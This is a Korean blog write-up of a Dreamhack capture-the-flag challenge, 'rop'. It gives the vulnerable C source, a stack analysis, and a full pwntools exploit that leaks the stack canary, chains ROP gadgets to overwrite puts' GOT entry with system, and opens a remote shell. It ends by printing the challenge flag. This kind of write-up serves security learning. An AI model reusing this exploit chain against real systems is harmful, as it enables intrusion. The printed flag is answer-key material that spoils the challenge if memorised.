[dreamhack][writeup] System-stage7 : rop

mj·2023년 5월 21일
0
post-thumbnail

1. 문제 파일 확인

소스 코드 확인

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

이번 문제는 Return to Library 와 달리 system 함수가 실행되지 않는다.

보호 기법 확인

RELROPartial RELRO 이므로 GOT Overwrite 가 가능하다.

2. 필요 정보

카나리 관련 정보

카나리를 우회하기 위해서 다음과 같은 정보가 필요하다.

  • buf와 canary 주소 차이
  • canary 와 rbp 주소 차이

3. 필요 정보 수집

카나리 주소 확인

카나리가 rbp-0x8 에 저장되는 것을 확인할 수 있다.

  • canary : rbp-0x8

buf 주소 확인

buf 는 read 함수의 두 번째 인자로 사용되고 있다.
read 함수가 호출되기 직전에 rsi 레지스터에 어떤 값이 들어가는지 확인해보자

rsi 레지스터에는 rbp-0x40 이 들어간다.

  • buf 주소 : rbp-0x40

스택 주소 유추

위에서 수집한 정보를 가지고 유추한 스택 구조는 다음과 같다.

4. exploit 코드 작성

from pwn import *

def slog(name, addr): success(": ".join([name, hex(addr)]))

#p = process("./rop")
p = remote("host3.dreamhack.games", 22948)
e = ELF("rop")
lib = ELF("./libc-2.27.so")
r = ROP("./rop")

payload = b""
payload += b"A"*57

p.recvuntil(b"Buf: ")
p.send(payload)
p.recvuntil(payload)

canary = u64(b"\x00" + p.recvn(7))
slog("canary", canary)

read_plt = e.plt["read"]
read_got = e.got["read"]
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]

pop_rdi_ret = r.find_gadget(["pop rdi"])[0]
pop_rsi_pret = r.find_gadget(["pop rsi"])[0]

payload = b""
payload += b"A"*56
payload += p64(canary)
payload += b"A"*8

# puts(puts_got)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)

# read(0, puts_got, X)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_pret)
payload += p64(puts_got)
payload += p64(0)
payload += p64(read_plt)

# system("/bin/sh")
payload += p64(pop_rdi_ret)
payload += p64(puts_got+8)
payload += p64(puts_plt)

p.recvuntil(b"Buf: ")
p.send(payload)

puts_lib = u64(p.recvn(6) + b"\x00"*2)
slog("read_lib", puts_lib)

lib_base = puts_lib - lib.symbols["puts"]
slog("lib_base", lib_base)
system_lib = lib_base + lib.symbols["system"]
slog("system_lib", system_lib)

payload = b""
payload += p64(system_lib) + b"/bin/sh\n"

p.send(payload)
p.interactive()

5. 공격

flag 를 획득했다.

  • flag : DH{68b82d23a30015c732688c89bd03d401}
profile
사는게 쉽지가 않네요

0개의 댓글